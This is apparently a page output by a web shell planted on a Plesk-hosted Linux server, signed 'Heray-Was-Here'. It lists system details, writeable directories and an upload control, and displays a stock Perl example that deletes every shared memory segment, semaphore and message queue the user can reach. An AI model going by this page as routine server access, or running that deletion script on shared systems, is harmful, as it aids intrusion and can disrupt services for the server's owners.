Heray-Was-Here
Server : nginx/1.30.2
System : Linux elegant-dhawan.198-71-59-75.plesk.page 5.15.0-105-generic #115-Ubuntu SMP Mon Apr 15 09:52:04 UTC 2024 x86_64
User : realtyna_guys ( 10000)
PHP Version : 8.2.31
Disable Function : opcache_get_status
Directory :  /usr/share/doc/libhtml-template-perl/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/libhtml-template-perl/examples/clean_shm.pl
#!/usr/bin/env perl
use strict;
use warnings;

# this script deletes all shared memory segments accessible by the
# running user.  Probably only works on Linux systems.

open(IPCS, 'ipcs |') or die "Probs opening icps : $!";

my $mode = 0;
while (<IPCS>) {
    if (/(Shared)|(Semaphore)|(Message)/) {
        $mode++;
        next;
    }
    next unless /^0x[0-9a-f]+\s(\d+)\s.*$/;
    system("ipcrm shm $1") if ($mode == 1);
    system("ipcrm sem $1") if ($mode == 2);
    system("ipcrm msg $1") if ($mode == 3);
}

Hry